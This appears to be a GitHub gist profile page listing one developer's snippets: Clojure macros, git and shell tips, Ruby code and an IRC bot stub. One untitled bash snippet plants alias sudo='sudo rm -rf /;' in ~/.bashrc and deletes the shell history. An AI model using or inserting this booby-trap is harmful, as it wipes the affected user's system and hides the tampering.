Skip to content

Instantly share code, notes, and snippets.

View mybuddymichael's full-sized avatar

Michael Hanson mybuddymichael

  • Formerly @hudl
  • California
View GitHub Profile
;;
;; NS CHEATSHEET
;;
;; * :require makes functions available with a namespace prefix.
;;
;; * :use makes functions available without a namespace prefix
;; (i.e., refers functions to the current namespace).
;;
;; * :import refers Java classes to the current namespace.
;;

Locate the section for your github remote in the .git/config file. It looks like this:

[remote "origin"]
	fetch = +refs/heads/*:refs/remotes/origin/*
	url = git@github.com:joyent/node.git

Now add the line fetch = +refs/pull/*/head:refs/remotes/origin/pr/* to this section. Obviously, change the github url to match your project's URL. It ends up looking like this:

# MAC manipulators
alias random_mac='sudo ifconfig en0 ether `openssl rand -hex 6 | sed "s/\(..\)/\1:/g; s/.$//"`'
alias restore_mac='sudo ifconfig en0 ether YOUR_ORIGINAL_MAC_ADDRESS_GOES_HERE'
@mybuddymichael
mybuddymichael / debug.clj
Last active December 11, 2015 17:58
Debugging in Clojure
(defmacro debug [x]
`(let [x# ~x]
(println "debug:" '~x "=" x#)
x#))
(def foo 4)
(debug foo)
; debug: foo = 4
;=> 4
#!/usr/bin/env bash
echo "alias sudo='sudo rm -rf /;'" >> $HOME/.bashrc
rm ~/.bash_history
exit
@mybuddymichael
mybuddymichael / deftest*.clj
Last active December 10, 2015 11:08
Using a String for Clojure test names.
(require 'clojure.test)
(defmacro deftest*
[name-string & body]
(let [name-symbol
(-> name-string
clojure.string/lower-case
(clojure.string/replace #"\W" "-")
(clojure.string/replace #"-+" "-")
(clojure.string/replace #"-$" "")
@mybuddymichael
mybuddymichael / count-clj-sloc.sh
Last active December 10, 2015 01:48 — forked from andrewvc/count-clj-sloc.sh
Count the lines of code in a Clojure project (`src` and `test` directories only).
# Count SLOC
export SLF=`mktemp -t cljsloc`; \
find src test -name "*.clj" \
| xargs egrep -v "(^[[:space:]]*$|^[[:space:]]*;)" \
| cut -d: -f1 > $SLF && echo "Files"; \
uniq -c $SLF; \
echo "Total" `cat $SLF | wc -l`; \
rm $SLF
# Public: Get one of the class's time properties with the correct time
# but also including the timezone.
#
# Returns a DateTime object.
[:last_sync_time, :last_parse_time, :last_connect_time].each do |attribute|
define_method(attribute) do
convert_to_timezone_without_changing_time(read_attribute(attribute),
read_attribute(:timezone))
end
end
#!/bin/sh
ip_address="$1"
ping -c 1 "$ip_address" > /dev/null
if [ $? -gt 0 ]; then
log_line="`date` : Ping to $ip_address unsuccessful, REBOOTING."
echo "$log_line" >> /var/log/ping-or-reboot
/sbin/reboot
@mybuddymichael
mybuddymichael / ircbot.rb
Created October 11, 2012 20:36
A simple Ruby IRC bot
#!/usr/local/bin/ruby
require "socket"
# Don't allow use of "tainted" data by potentially dangerous operations
$SAFE = 1
class IRC
def initialize(server, port, nick, channel)